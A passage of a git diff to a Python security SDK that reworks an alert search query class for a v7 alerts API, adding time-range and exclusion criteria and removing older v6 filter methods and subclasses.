"REPUTATION", "WORKFLOW", "TAG", "POLICY_ID", - "POLICY_NAME", "DEVICE_ID", "DEVICE_NAME", "APPLICATION_HASH", - "APPLICATION_NAME", "STATUS", "RUN_STATE", "POLICY_APPLIED_STATE", - "POLICY_APPLIED", "SENSOR_ACTION"] - - def __init__(self, doc_class, cb): - """ - Initialize the BaseAlertSearchQuery. - - Args: - doc_class (class): The model class that will be returned by this query. - cb (BaseAPI): Reference to API object used to communicate with the server. - """ - self._doc_class = doc_class - self._cb = cb - self._count_valid = False - super(BaseAlertSearchQuery, self).__init__() - - self._query_builder = QueryBuilder() - self._criteria = {} - self._time_filters = {} - self._sortcriteria = {} - self._bulkupdate_url = "/appservices/v6/orgs/{0}/alerts/workflow/_criteria" - self._count_valid = False - self._total_results = 0 - - def set_categories(self, categories): - """ - Restricts the alerts that this query is performed on to the specified categories. - - Args: - categories (list): List of categories to be restricted to. Valid categories are - "THREAT", "MONITORED", "INFO", "MINOR", "SERIOUS", and "CRITICAL." - - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all((c in BaseAlertSearchQuery.VALID_CATEGORIES) for c in categories): - raise ApiError("One or more invalid category values") - self._update_criteria("category", categories) - return self - - def set_create_time(self, *args, **kwargs): - """ - Restricts the alerts that this query is performed on to the specified creation time. - - The time may either be specified as a start and end point or as a range. - - Args: - *args (list): Not used. - **kwargs (dict): Used to specify start= for start time, end= for end time, and range= for range. - - Returns: - BaseAlertSearchQuery: This instance. - """ - if kwargs.get("start", None) and kwargs.get("end", None): - if kwargs.get("range", None): - raise ApiError("cannot specify range= in addition to start= and end=") - stime = kwargs["start"] - if not isinstance(stime, str): - stime = stime.isoformat() - etime = kwargs["end"] - if not isinstance(etime, str): - etime = etime.isoformat() - self._time_filters["create_time"] = {"start": stime, "end": etime} - elif kwargs.get("range", None): - if kwargs.get("start", None) or kwargs.get("end", None): - raise ApiError("cannot specify start= or end= in addition to range=") - self._time_filters["create_time"] = {"range": kwargs["range"]} - else: - raise ApiError("must specify either start= and end= or range=") - return self - - def set_device_ids(self, device_ids): - """ - Restricts the alerts that this query is performed on to the specified device IDs. + Sets the 'rows' query body parameter, determining how many rows of results to request. Args: - device_ids (list): List of integer device IDs. - - Returns: - BaseAlertSearchQuery: This instance. + rows (int): How many rows to request. """ - if not all(isinstance(device_id, int) for device_id in device_ids): - raise ApiError("One or more invalid device IDs") - self._update_criteria("device_id", device_ids) + if not isinstance(rows, int): + raise ApiError(f"Rows must be an integer. {rows} is a {type(rows)}.") + self._batch_size = rows return self - def set_device_names(self, device_names): + def set_time_range(self, *args, **kwargs): """ - Restricts the alerts that this query is performed on to the specified device names. + For v7 Alerts: - Args: - device_names (list): List of string device names. - - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in device_names): - raise ApiError("One or more invalid device names") - self._update_criteria("device_name", device_names) - return self - - def set_device_os(self, device_os): - """ - Restricts the alerts that this query is performed on to the specified device operating systems. + Sets the 'time_range' query body parameter, determining a time range based on 'backend_timestamp'. Args: - device_os (list): List of string operating systems. Valid values are "WINDOWS", "ANDROID", - "MAC", "IOS", "LINUX", and "OTHER." + *args: not used + **kwargs (dict): Used to specify the period to search within - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all((osval in DeviceSearchQuery.VALID_OS) for osval in device_os): - raise ApiError("One or more invalid operating systems") - self._update_criteria("device_os", device_os) - return self + * start= either timestamp ISO 8601 strings or datetime objects + * end= either timestamp ISO 8601 strings or datetime objects + * range= the period on which to execute the result search, ending on the current time. - def set_device_os_versions(self, device_os_versions): - """ - Restricts the alerts that this query is performed on to the specified device operating system versions. + Range must be in the format "-" where quantity is an integer, and units is one of: - Args: - device_os_versions (list): List of string operating system versions. + * M: month(s) + * w: week(s) + * d: day(s) + * h: hour(s) + * m: minute(s) + * s: second(s) - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in device_os_versions): - raise ApiError("One or more invalid device OS versions") - self._update_criteria("device_os_version", device_os_versions) - return self + For v6 Alerts (backwards compatibility): - def set_device_username(self, users): - """ - Restricts the alerts that this query is performed on to the specified user names. + Restricts the alerts that this query is performed on to the specified time range for a given key. Will set + the 'time_range' as in the v7 usage if key is create_time and set a criteria value for any other valid key. Args: - users (list): List of string user names. + key (str): The key to use for criteria one of create_time, first_event_time, last_event_time + or last_update_time. i.e. legacy field names from the Alert v6 API. + **kwargs (dict): Used to specify the period to search within - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(u, str) for u in users): - raise ApiError("One or more invalid user names") - self._update_criteria("device_username", users) - return self - - def set_group_results(self, do_group): - """ - Specifies whether or not to group the results of the query. - - Args: - do_group (bool): True to group the results, False to not do so. + * start= either timestamp ISO 8601 strings or datetime objects + * end= either timestamp ISO 8601 strings or datetime objects + * range= the period on which to execute the result search, ending on the current time. Returns: - BaseAlertSearchQuery: This instance. - """ - self._criteria["group_results"] = True if do_group else False - return self - - def set_alert_ids(self, alert_ids): - """ - Restricts the alerts that this query is performed on to the specified alert IDs. + AlertSearchQuery: This instance. - Args: - alert_ids (list): List of string alert IDs. + Examples: + >>> query_specify_start_and_end = api.select(Alert). + ... set_time_range(start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z") + >>> query_specify_range = api.select(Alert).set_time_range(range='-3d') + >>> query_legacy_use = api.select(Alert).set_time_range("create_time", range='-3d') - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(v, str) for v in alert_ids): - raise ApiError("One or more invalid alert ID values") - self._update_criteria("id", alert_ids) - return self - - def set_legacy_alert_ids(self, alert_ids): - """ - Restricts the alerts that this query is performed on to the specified legacy alert IDs. - - Args: - alert_ids (list): List of string legacy alert IDs. - - Returns: - BaseAlertSearchQuery: This instance. """ - if not all(isinstance(v, str) for v in alert_ids): - raise ApiError("One or more invalid alert ID values") - self._update_criteria("legacy_alert_id", alert_ids) - return self - - def set_minimum_severity(self, severity): - """ - Restricts the alerts that this query is performed on to the specified minimum severity level. - - Args: - severity (int): The minimum severity level for alerts. - - Returns: - BaseAlertSearchQuery: This instance. - """ - self._criteria["minimum_severity"] = severity + args_count = args.__len__() + time_filter = self._create_valid_time_filter(kwargs) + if args_count > 0: + key = args[0] + self._valid_criteria = self._is_valid_time_criteria_key_v6(key) + if self._valid_criteria: + key = Alert.REMAPPED_ALERTS_V6_TO_V7.get(key, key) + # key has been converted so v6 values are not expected here + if key in ["backend_timestamp"]: + self._time_range = time_filter + else: + self.add_time_criteria(key, **kwargs) + else: + # everything before this is only for backwards compatibility, once v6 deprecates all the other + # checks can be removed + self._time_range = {} + self._time_range = time_filter return self - def set_policy_ids(self, policy_ids): + def add_time_criteria(self, key, **kwargs): """ - Restricts the alerts that this query is performed on to the specified policy IDs. + Restricts the alerts that this query is performed on to the specified time range for a given key. - Args: - policy_ids (list): List of integer policy IDs. - - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(policy_id, int) for policy_id in policy_ids): - raise ApiError("One or more invalid policy IDs") - self._update_criteria("policy_id", policy_ids) - return self - - def set_policy_names(self, policy_names): - """ - Restricts the alerts that this query is performed on to the specified policy names. + The time may either be specified as a start and end point or as a range. Args: - policy_names (list): List of string policy names. + key (str): The key to use for criteria one of create_time, first_event_time, last_event_time, + backend_update_timestamp, or last_update_time + **kwargs (dict): Used to specify: - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in policy_names): - raise ApiError("One or more invalid policy names") - self._update_criteria("policy_name", policy_names) - return self - - def set_process_names(self, process_names): - """ - Restricts the alerts that this query is performed on to the specified process names. - - Args: - process_names (list): List of string process names. + * start= for start time + * end= for end time + * range= for range + * excludes= to set this as an exclusion rather than criteria. Defaults to False. Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in process_names): - raise ApiError("One or more invalid process names") - self._update_criteria("process_name", process_names) - return self - - def set_process_sha256(self, shas): - """ - Restricts the alerts that this query is performed on to the specified process SHA-256 hash values. - - Args: - shas (list): List of string process SHA-256 hash values. + AlertSearchQuery: This instance. - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in shas): - raise ApiError("One or more invalid SHA256 values") - self._update_criteria("process_sha256", shas) - return self + Examples: + >>> query = api.select(Alert). + ... add_time_criteria("detection_timestamp", start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z") + >>> second_query = api.select(Alert).add_time_criteria("detection_timestamp", range='-3d') + >>> third_query_legacy = api.select(Alert).set_time_range("create_time", range='-3d') + >>> exclusions_query = api.add_time_criteria("detection_timestamp", range="-2h", exclude=True) - def set_reputations(self, reps): """ - Restricts the alerts that this query is performed on to the specified reputation values. + # this first if statement will be removed after v6 is deprecated + if not self._valid_criteria: + self._valid_criteria = self._is_valid_time_criteria_key(key) - Args: - reps (list): List of string reputation values. Valid values are "KNOWN_MALWARE", "SUSPECT_MALWARE", - "PUP", "NOT_LISTED", "ADAPTIVE_WHITE_LIST", "COMMON_WHITE_LIST", "TRUSTED_WHITE_LIST", - and "COMPANY_BLACK_LIST". - - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all((r in BaseAlertSearchQuery.VALID_REPUTATIONS) for r in reps): - raise ApiError("One or more invalid reputation values") - self._update_criteria("reputation", reps) + if self._valid_criteria: + if kwargs.get("exclude", False): + self._time_exclusion_filters[key] = self._create_valid_time_filter(kwargs) + else: + self._time_filters[key] = self._create_valid_time_filter(kwargs) return self - def set_tags(self, tags): + def _is_valid_time_criteria_key(self, key): """ - Restricts the alerts that this query is performed on to the specified tag values. + Verifies that an alert criteria key is a valid searchable time range field Args: - tags (list): List of string tag values. + args (str): The key to use for criteria must be a valid v7 time range field; backend_update_timestamp, + detection_timestamp, first_event_timestamp, last_event_timestamp, mdr_determination_change_timestamp, + mdr_workflow_change_timestamp, user_update_timestamp, or workflow_change_timestamp Returns: - BaseAlertSearchQuery: This instance. - """ - if not all(isinstance(tag, str) for tag in tags): - raise ApiError("One or more invalid tags") - self._update_criteria("tag", tags) - return self - - def set_target_priorities(self, priorities): + boolean true """ - Restricts the alerts that this query is performed on to the specified target priority values. - - Args: - priorities (list): List of string target priority values. Valid values are "LOW", "MEDIUM", - "HIGH", and "MISSION_CRITICAL". + if key not in ["backend_update_timestamp", "detection_timestamp", "first_event_timestamp", + "last_event_timestamp", "mdr_determination_change_timestamp", "mdr_workflow_change_timestamp", + "user_update_timestamp", "workflow_change_timestamp"]: + raise ApiError("key must be one of backend_update_timestamp, detection_timestamp, " + "first_event_timestamp, last_event_timestamp, mdr_determination_change_timestamp, " + "mdr_workflow_change_timestamp, user_update_timestamp, or workflow_change_timestamp") + return True - Returns: - BaseAlertSearchQuery: This instance. + def _is_valid_time_criteria_key_v6(self, key): """ - if not all((prio in DeviceSearchQuery.VALID_PRIORITIES) for prio in priorities): - raise ApiError("One or more invalid priority values") - self._update_criteria("target_value", priorities) - return self + Verifies that an alert criteria key has the timerange functionality for v6 sdk calls. - def set_threat_ids(self, threats): - """ - Restricts the alerts that this query is performed on to the specified threat ID values. + Only v6 field names are valid. Args: - threats (list): List of string threat ID values. + args (str): The key to use for criteria one of create_time, first_event_time, last_event_time, + backend_timestamp, backend_update_timestamp, or last_update_time Returns: - BaseAlertSearchQuery: This instance. + boolean true """ - if not all(isinstance(t, str) for t in threats): - raise ApiError("One or more invalid threat ID values") - self._update_criteria("threat_id", threats) - return self + if key not in ["create_time", "first_event_time", "last_event_time", "last_update_time"]: + raise ApiError("key must be one of create_time, first_event_time, last_event_time or last_update_time") + return True - def set_time_range(self, key, **kwargs): + def _create_valid_time_filter(self, kwargs): """ - Restricts the alerts that this query is performed on to the specified time range. - - The time may either be specified as a start and end point or as a range. + Verifies that an alert criteria key has the timerange functionality Args: - key (str): The key to use for criteria one of create_time, - first_event_time, last_event_time, or last_update_time - **kwargs (dict): Used to specify start= for start time, end= for end time, and range= for range. + kwargs (dict): Used to specify start= for start time, end= for end time, and range= for range. Values are + either timestamp ISO 8601 strings or datetime objects for start and end time. For range the time range to + execute the result search, ending on the current time. Should be in the form "-2w", + where y=year, w=week, d=day, h=hour, m=minute, s=second. Returns: - BaseAlertSearchQuery: This instance. + filter object to be applied to the global time range or a specific field """ - if key not in ["create_time", "first_event_time", "last_event_time", "last_update_time"]: - raise ApiError("key must be one of create_time, first_event_time, last_event_time, or last_update_time") + time_filter = {} if kwargs.get("start", None) and kwargs.get("end", None): if kwargs.get("range", None): raise ApiError("cannot specify range= in addition to start= and end=") stime = kwargs["start"] - if not isinstance(stime, str): - stime = stime.isoformat() etime = kwargs["end"] - if not isinstance(etime, str): - etime = etime.isoformat() - self._time_filters[key] = {"start": stime, "end": etime} + try: + if isinstance(stime, str): + stime = datetime_fromisoformat(stime) + if isinstance(etime, str): + etime = datetime_fromisoformat(etime) + if isinstance(stime, datetime.datetime) and isinstance(etime, datetime.datetime): + time_filter = {"start": stime.strftime("%Y-%m-%dT%H:%M:%S.%fZ"), + "end": etime.strftime("%Y-%m-%dT%H:%M:%S.%fZ")} + except: + raise ApiError(f"Start and end time must be a string in ISO 8601 format or an object of datetime. " + f"Start time {stime} is a {type(stime)}. End time {etime} is a {type(etime)}.") elif kwargs.get("range", None): if kwargs.get("start", None) or kwargs.get("end", None): raise ApiError("cannot specify start= or end= in addition to range=") - self._time_filters[key] = {"range": kwargs["range"]} + time_filter = {"range": kwargs["range"]} else: raise ApiError("must specify either start= and end= or range=") - return self - - def set_types(self, alerttypes): - """ - Restricts the alerts that this query is performed on to the specified alert type values. - - Args: - alerttypes (list): List of string alert type values. Valid values are "CB_ANALYTICS", - "WATCHLIST", "DEVICE_CONTROL", and "CONTAINER_RUNTIME". - - Returns: - BaseAlertSearchQuery: This instance. - - Note: - When filtering by fields that take a list parameter, an empty list will be treated as a wildcard and - match everything. - """ - if not all((t in BaseAlertSearchQuery.VALID_ALERT_TYPES) for t in alerttypes): - raise ApiError("One or more invalid alert type values") - self._update_criteria("type", alerttypes) - return self - - def set_workflows(self, workflow_vals): - """ - Restricts the alerts that this query is performed on to the specified workflow status values. - - Args: - workflow_vals (list): List of string alert type values. Valid values are "OPEN" and "DISMISSED". - - Returns: - BaseAlertSearchQuery: This instance. - """ - if not all((t in BaseAlertSearchQuery.VALID_WORKFLOW_VALS) for t in workflow_vals): - raise ApiError("One or more invalid workflow status values") - self._update_criteria("workflow", workflow_vals) - return self + return time_filter def _build_criteria(self): """ @@ -986,21 +1158,33 @@ def _build_criteria(self): mycrit.update(self._time_filters) return mycrit + def _build_exclusions(self): + """ + Builds the exclusions object for use in a query. + + Returns: + dict: The exclusions object. + """ + myexclusions = self._exclusions + if self._time_exclusion_filters: + myexclusions.update(self._time_exclusion_filters) + return myexclusions + def sort_by(self, key, direction="ASC"): """ Sets the sorting behavior on a query's results. Example: - >>> cb.select(BaseAlert).sort_by("name") + >>> cb.select(Alert).sort_by("name") Args: key (str): The key in the schema to sort by. direction (str): The sort order, either "ASC" or "DESC". Returns: - BaseAlertSearchQuery: This instance. + AlertSearchQuery: This instance. """ - if direction not in DeviceSearchQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -1017,11 +1201,21 @@ def _build_request(self, from_row, max_rows, add_sort=True): Returns: dict: The complete request body. """ - request = {"criteria": self._build_criteria()} - request["query"] = self._query_builder._collapse() - # Fetch 100 rows per page (instead of 10 by default) for better performance - request["rows"] = 100 - if from_row > 0: + request = {} + criteria = self._build_criteria() + exclusions = self._build_exclusions() + query = self._query_builder._collapse() + if criteria: + request["criteria"] = criteria + if exclusions: + request["exclusions"] = exclusions + if query: + request["query"] = query + + request["rows"] = self._batch_size + if hasattr(self, "_time_range"): + request["time_range"] = self._time_range + if from_row > 1: request["start"] = from_row if max_rows >= 0: request["rows"] = max_rows @@ -1053,7 +1247,7 @@ def _count(self): return self._total_results url = self._build_url("/_search") - request = self._build_request(0, -1) + request = self._build_request(1, -1) resp = self._cb.post_object(url, body=request) result = resp.json() @@ -1093,7 +1287,25 @@ def _perform_query(self, from_row=1, max_rows=-1): results = result.get("results", []) for item in results: - yield self._doc_class(self._cb, item["id"], item) + alert = self._doc_class(self._cb, item["id"], item) + if "type" in item: + if item["type"] == "CB_ANALYTICS": + alert.__class__ = CBAnalyticsAlert + elif item["type"] == "WATCHLIST": + alert.__class__ = WatchlistAlert + elif item["type"] == "INTRUSION_DETECTION_SYSTEM": + alert.__class__ = IntrusionDetectionSystemAlert + elif item["type"] == "DEVICE_CONTROL": + alert.__class__ = DeviceControlAlert + elif item["type"] == "HOST_BASED_FIREWALL": + alert.__class__ = HostBasedFirewallAlert + elif item["type"] == "CONTAINER_RUNTIME": + alert.__class__ = ContainerRuntimeAlert + else: + pass + else: + alert.__class__ = Alert + yield alert current += 1 numrows += 1 @@ -1111,648 +1323,176 @@ def facets(self, fieldlist, max_rows=0): Return information about the facets for this alert by search, using the defined criteria. Args: - fieldlist (list): List of facet field names. Valid names are "ALERT_TYPE", "CATEGORY", "REPUTATION", - "WORKFLOW", "TAG", "POLICY_ID", "POLICY_NAME", "DEVICE_ID", "DEVICE_NAME", - "APPLICATION_HASH", "APPLICATION_NAME", "STATUS", "RUN_STATE", "POLICY_APPLIED_STATE", - "POLICY_APPLIED", and "SENSOR_ACTION". + fieldlist (list): List of facet field names. max_rows (int): The maximum number of rows to return. 0 means return all rows. Returns: list: A list of facet information specified as dicts. + error: invalid enum + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + ApiError: If the facet field is not valid """ - if not all((field in BaseAlertSearchQuery.VALID_FACET_FIELDS) for field in fieldlist): - raise ApiError("One or more invalid term field names") + for field in fieldlist: + if field in AlertSearchQuery.DEPRECATED_FACET_FIELDS: + raise FunctionalityDecommissioned( + "Field '{0}' does is not a valid facet name because it was deprecated in " + "Alerts v7.".format(field)) + request = self._build_request(0, -1, False) del request['rows'] request["terms"] = {"fields": fieldlist, "rows": max_rows} url = self._build_url("/_facet") resp = self._cb.post_object(url, body=request) + if resp.status_code == 400: + raise ApiError(resp.json()) result = resp.json() return result.get("results", []) - def _update_status(self, status, remediation, comment): + def _update_status(self, status, closure_reason, note, determination): """ Updates the status of all alerts matching the given query. Args: - status (str): The status to put the alerts into, either "OPEN" or "DISMISSED". - remediation (str): The remediation state to set for all alerts. - comment (str): The comment to set for all alerts. + status (str): The status to set for this alert, either "OPEN", "IN_PROGRESS", or "CLOSED". + closure_reason (str): the closure reason for this alert, either "TRUE_POSITIVE", "FALSE_POSITIVE", or "NONE" + note (str): The comment to set for the alert. + determination (str): The determination status to set for the alert, either "NO_REASON", "RESOLVED", \ + "RESOLVED_BENIGN_KNOWN_GOOD", "DUPLICATE_CLEANUP", "OTHER" Returns: - str: The request ID, which may be used to select a WorkflowStatus object. + Job: The Job object for the bulk workflow action. """ - request = {"state": status, "criteria": self._build_criteria(), "query": self._query_builder._collapse()} - if remediation is not None: - request["remediation_state"] = remediation - if comment is not None: - request["comment"] = comment + request = self._build_request(0, -1) + del request["rows"] + + if status: + request["status"] = status + if closure_reason is not None: + request["closure_reason"] = closure_reason + if determination is not None: + request["determination"] = determination + if note is not None: + request["note"] = note resp = self._cb.post_object(self._bulkupdate_url.format(self._cb.credentials.org_key), body=request) output = resp.json() - return output["request_id"] - - def update(self, remediation=None, comment=None): - """ - Update all alerts matching the given query. The alerts will be left in an OPEN state after this request. - - Args: - remediation (str): The remediation state to set for all alerts. - comment (str): The comment to set for all alerts. - - Returns: - str: The request ID, which may be used to select a WorkflowStatus object. - """ - return self._update_status("OPEN", remediation, comment) - - def dismiss(self, remediation=None, comment=None): - """ - Dismiss all alerts matching the given query. The alerts will be left in a DISMISSED state after this request. - - Args: - remediation (str): The remediation state to set for all alerts. - comment (str): The comment to set for all alerts. - - Returns: - str: The request ID, which may be used to select a WorkflowStatus object. - """ - return self._update_status("DISMISSED", remediation, comment) - - -class WatchlistAlertSearchQuery(BaseAlertSearchQuery): - """Represents a query that is used to locate WatchlistAlert objects.""" + return Job(self._cb, output["request_id"]) - def __init__(self, doc_class, cb): - """ - Initialize the WatchlistAlertSearchQuery. - - Args: - doc_class (class): The model class that will be returned by this query. - cb (BaseAPI): Reference to API object used to communicate with the server. - """ - super().__init__(doc_class, cb) - self._bulkupdate_url = "/appservices/v6/orgs/{0}/alerts/watchlist/workflow/_criteria" - - def set_watchlist_ids(self, ids): + def update(self, status, closure_reason=None, determination=None, note=None): """ - Restricts the alerts that this query is performed on to the specified watchlist ID values. + Update all alerts matching the given query. Args: - ids (list): List of string watchlist ID values. + status (str): The status to set for this alert, either "OPEN", "IN_PROGRESS", or "CLOSED". + closure_reason (str): the closure reason for this alert, either "NO_REASON", "RESOLVED", \ + "RESOLVED_BENIGN_KNOWN_GOOD", "DUPLICATE_CLEANUP", "OTHER" + determination (str): The determination status to set for the alert, either "TRUE_POSITIVE", \ + "FALSE_POSITIVE", or "NONE" + note (str): The comment to set for the alert. Returns: - WatchlistAlertSearchQuery: This instance. - """ - if not all(isinstance(t, str) for t in ids): - raise ApiError("One or more invalid watchlist IDs") - self._update_criteria("watchlist_id", ids) - return self - - def set_watchlist_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified watchlist name values. + Job: The Job object for the bulk workflow action. - Args: - names (list): List of string watchlist name values. - - Returns: - WatchlistAlertSearchQuery: This instance. - """ - if not all(isinstance(name, str) for name in names): - raise ApiError("One or more invalid watchlist names") - self._update_criteria("watchlist_name", names) - return self - - -class CBAnalyticsAlertSearchQuery(BaseAlertSearchQuery): - """Represents a query that is used to locate CBAnalyticsAlert objects.""" - VALID_THREAT_CATEGORIES = ["UNKNOWN", "NON_MALWARE", "NEW_MALWARE", "KNOWN_MALWARE", "RISKY_PROGRAM"] - VALID_LOCATIONS = ["ONSITE", "OFFSITE", "UNKNOWN"] - VALID_KILL_CHAIN_STATUSES = ["RECONNAISSANCE", "WEAPONIZE", "DELIVER_EXPLOIT", "INSTALL_RUN", - "COMMAND_AND_CONTROL", "EXECUTE_GOAL", "BREACH"] - VALID_POLICY_APPLIED = ["APPLIED", "NOT_APPLIED"] - VALID_RUN_STATES = ["DID_NOT_RUN", "RAN", "UNKNOWN"] - VALID_SENSOR_ACTIONS = ["POLICY_NOT_APPLIED", "ALLOW", "ALLOW_AND_LOG", "TERMINATE", "DENY"] - VALID_THREAT_CAUSE_VECTORS = ["EMAIL", "WEB", "GENERIC_SERVER", "GENERIC_CLIENT", "REMOTE_DRIVE", - "REMOVABLE_MEDIA", "UNKNOWN", "APP_STORE", "THIRD_PARTY"] - - def __init__(self, doc_class, cb): - """ - Initialize the CBAnalyticsAlertSearchQuery. - - Args: - doc_class (class): The model class that will be returned by this query. - cb (BaseAPI): Reference to API object used to communicate with the server. - """ - super().__init__(doc_class, cb) - self._bulkupdate_url = "/appservices/v6/orgs/{0}/alerts/cbanalytics/workflow/_criteria" - - def set_blocked_threat_categories(self, categories): - """ - Restricts the alerts that this query is performed on to the specified threat categories that were blocked. - - Args: - categories (list): List of threat categories to look for. Valid values are "UNKNOWN", - "NON_MALWARE", "NEW_MALWARE", "KNOWN_MALWARE", and "RISKY_PROGRAM". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((category in CBAnalyticsAlertSearchQuery.VALID_THREAT_CATEGORIES) - for category in categories): - raise ApiError("One or more invalid threat categories") - self._update_criteria("blocked_threat_category", categories) - return self - - def set_device_locations(self, locations): - """ - Restricts the alerts that this query is performed on to the specified device locations. - - Args: - locations (list): List of device locations to look for. Valid values are "ONSITE", "OFFSITE", - and "UNKNOWN". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((location in CBAnalyticsAlertSearchQuery.VALID_LOCATIONS) - for location in locations): - raise ApiError("One or more invalid device locations") - self._update_criteria("device_location", locations) - return self - - def set_kill_chain_statuses(self, statuses): - """ - Restricts the alerts that this query is performed on to the specified kill chain statuses. - - Args: - statuses (list): List of kill chain statuses to look for. Valid values are "RECONNAISSANCE", - "WEAPONIZE", "DELIVER_EXPLOIT", "INSTALL_RUN","COMMAND_AND_CONTROL", "EXECUTE_GOAL", - and "BREACH". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((status in CBAnalyticsAlertSearchQuery.VALID_KILL_CHAIN_STATUSES) - for status in statuses): - raise ApiError("One or more invalid kill chain status values") - self._update_criteria("kill_chain_status", statuses) - return self - - def set_not_blocked_threat_categories(self, categories): - """ - Restricts the alerts that this query is performed on to the specified threat categories that were NOT blocked. - - Args: - categories (list): List of threat categories to look for. Valid values are "UNKNOWN", - "NON_MALWARE", "NEW_MALWARE", "KNOWN_MALWARE", and "RISKY_PROGRAM". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((category in CBAnalyticsAlertSearchQuery.VALID_THREAT_CATEGORIES) - for category in categories): - raise ApiError("One or more invalid threat categories") - self._update_criteria("not_blocked_threat_category", categories) - return self - - def set_policy_applied(self, applied_statuses): - """ - Restricts the alerts that this query is performed on to the specified policy status values. - - Args: - applied_statuses (list): List of status values to look for. Valid values are "APPLIED" and "NOT_APPLIED". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((s in CBAnalyticsAlertSearchQuery.VALID_POLICY_APPLIED) - for s in applied_statuses): - raise ApiError("One or more invalid policy-applied values") - self._update_criteria("policy_applied", applied_statuses) - return self - - def set_reason_code(self, reason): - """ - Restricts the alerts that this query is performed on to the specified reason codes (enum values). - - Args: - reason (list): List of string reason codes to look for. - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all(isinstance(t, str) for t in reason): - raise ApiError("One or more invalid reason code values") - self._update_criteria("reason_code", reason) - return self - - def set_run_states(self, states): - """ - Restricts the alerts that this query is performed on to the specified run states. - - Args: - states (list): List of run states to look for. Valid values are "DID_NOT_RUN", "RAN", and "UNKNOWN". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((s in CBAnalyticsAlertSearchQuery.VALID_RUN_STATES) - for s in states): - raise ApiError("One or more invalid run states") - self._update_criteria("run_state", states) - return self - - def set_sensor_actions(self, actions): - """ - Restricts the alerts that this query is performed on to the specified sensor actions. - - Args: - actions (list): List of sensor actions to look for. Valid values are "POLICY_NOT_APPLIED", "ALLOW", - "ALLOW_AND_LOG", "TERMINATE", and "DENY". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((action in CBAnalyticsAlertSearchQuery.VALID_SENSOR_ACTIONS) - for action in actions): - raise ApiError("One or more invalid sensor actions") - self._update_criteria("sensor_action", actions) - return self - - def set_threat_cause_vectors(self, vectors): - """ - Restricts the alerts that this query is performed on to the specified threat cause vectors. - - Args: - vectors (list): List of threat cause vectors to look for. Valid values are "EMAIL", "WEB", - "GENERIC_SERVER", "GENERIC_CLIENT", "REMOTE_DRIVE", "REMOVABLE_MEDIA", "UNKNOWN", - "APP_STORE", and "THIRD_PARTY". - - Returns: - CBAnalyticsAlertSearchQuery: This instance. - """ - if not all((vector in CBAnalyticsAlertSearchQuery.VALID_THREAT_CAUSE_VECTORS) - for vector in vectors): - raise ApiError("One or more invalid threat cause vectors") - self._update_criteria("threat_cause_vector", vectors) - return self - - -class DeviceControlAlertSearchQuery(BaseAlertSearchQuery): - """Represents a query that is used to locate DeviceControlAlert objects.""" - - def __init__(self, doc_class, cb): - """ - Initialize the DeviceControlAlertSearchQuery. - - Args: - doc_class (class): The model class that will be returned by this query. - cb (BaseAPI): Reference to API object used to communicate with the server. - """ - super().__init__(doc_class, cb) - self._bulkupdate_url = "/appservices/v6/orgs/{0}/alerts/cbanalytics/devicecontrol/_criteria" - - def set_external_device_friendly_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified external device friendly names. - - Args: - names (list): List of external device friendly names to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid device name values") - self._update_criteria("external_device_friendly_name", names) - return self - - def set_external_device_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified external device IDs. - - Args: - ids (list): List of external device IDs to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid device ID values") - self._update_criteria("external_device_id", ids) - return self - - def set_product_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified product IDs. - - Args: - ids (list): List of product IDs to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid product ID values") - self._update_criteria("product_id", ids) - return self - - def set_product_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified product names. - - Args: - names (list): List of product names to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in names): - raise ApiError("One or more invalid product name values") - self._update_criteria("product_name", names) - return self - - def set_serial_numbers(self, serial_numbers): - """ - Restricts the alerts that this query is performed on to the specified serial numbers. - - Args: - serial_numbers (list): List of serial numbers to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in serial_numbers): - raise ApiError("One or more invalid serial number values") - self._update_criteria("serial_number", serial_numbers) - return self - - def set_vendor_ids(self, ids): - """ - Restricts the alerts that this query is performed on to the specified vendor IDs. - - Args: - ids (list): List of vendor IDs to look for. - - Returns: - DeviceControlAlertSearchQuery: This instance. - """ - if not all(isinstance(n, str) for n in ids): - raise ApiError("One or more invalid vendor ID values") - self._update_criteria("vendor_id", ids) - return self - - def set_vendor_names(self, names): - """ - Restricts the alerts that this query is performed on to the specified vendor 